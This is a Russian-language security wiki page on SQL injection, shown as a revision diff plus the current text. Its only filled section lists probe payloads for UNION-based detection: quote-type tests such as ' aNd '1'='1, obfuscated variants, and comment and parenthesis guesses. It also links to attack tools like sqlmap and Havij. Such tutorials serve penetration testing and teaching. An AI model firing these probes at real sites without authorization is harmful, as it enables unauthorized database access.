Sqlinj — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м
м
Строка 10: Строка 10:
  
 
===SELECT===
 
===SELECT===
 +
  
 
====UNION-Based====
 
====UNION-Based====
 +
 +
=====Определение типа кавычки=====
 +
1. Найти точку ввода данных
 +
 +
2. Найти параметр, который возвращает какое-либо из значений.
 +
 +
3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)
 +
 +
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 +
{параметр} aNd 1=1
 +
{параметр} aNd 1=1
 +
{параметр}/**/aNd/**/1=1
 +
{параметр} -- {\n} aNd 1=1
 +
 +
{параметр}' aNd '1'='1
 +
{параметр}' aNd '1'='1
 +
{параметр}'/**/aNd/**/'1'='1
 +
{параметр}' -- {\n} aNd '1'='1
 +
 +
{параметр}" aNd "1"="1
 +
{параметр}" aNd "1"="1
 +
{параметр}"/**/aNd/**/"1"="1
 +
{параметр}" -- {\n} aNd "1"="1
 +
</syntaxhighlight>
 +
(Если сработал первый пример, то {кавычка}==={пустое место} :)
 +
 +
После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):
 +
 +
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 +
{параметр}{кавычка} -- 1
 +
{параметр}{кавычка}) -- 1
 +
{параметр}{кавычка})) -- 1
 +
{параметр}{кавычка})...) -- 1
 +
 +
{параметр}{кавычка} # 1
 +
{параметр}{кавычка}) # 1
 +
{параметр}{кавычка})) # 1
 +
{параметр}{кавычка})...) # 1
 +
</syntaxhighlight>
 +
 +
После чего надо подобрать количество колонок.
 +
 +
  
 
====Error-Based====
 
====Error-Based====
Строка 19: Строка 63:
 
====Time-Based====
 
====Time-Based====
  
 +
 +
====auth====
  
 
===INSERT===
 
===INSERT===

Версия 07:45, 19 декабря 2018


Вводная

Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.

Как задетектить

SELECT

UNION-Based

Определение типа кавычки

1. Найти точку ввода данных

2. Найти параметр, который возвращает какое-либо из значений.

3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)

 
{параметр} aNd 1=1
{параметр}	aNd	1=1
{параметр}/**/aNd/**/1=1
{параметр} -- {\n} aNd 1=1

{параметр}' aNd '1'='1
{параметр}'	aNd	'1'='1
{параметр}'/**/aNd/**/'1'='1
{параметр}' -- {\n} aNd '1'='1

{параметр}" aNd "1"="1
{параметр}"	aNd	"1"="1
{параметр}"/**/aNd/**/"1"="1
{параметр}" -- {\n} aNd "1"="1

(Если сработал первый пример, то {кавычка}==={пустое место} :)

После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):

{параметр}{кавычка} -- 1
{параметр}{кавычка}) -- 1
{параметр}{кавычка})) -- 1
{параметр}{кавычка})...) -- 1

{параметр}{кавычка} # 1
{параметр}{кавычка}) # 1
{параметр}{кавычка})) # 1
{параметр}{кавычка})...) # 1

После чего надо подобрать количество колонок.


Error-Based

Boolean-Based

Time-Based

auth

INSERT

DELETE

UPDATE

EXEC

Как проэксплуатировать

Общее

MySQL

OracleDB

PostgreSQL

SQLite3

IBM DB2

Ссылки

Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt


 Мануал на Рдот - один из лучших.

https://rdot.org/forum/showthread.php?t=124


TOOLS 

SQLMap (crossplatform)

Havij (win)

http://sqlninja.sourceforge.net/sqlninja-howto.html

https://code.google.com/p/bsqlbf-v2/

https://github.com/Neohapsis/bbqsql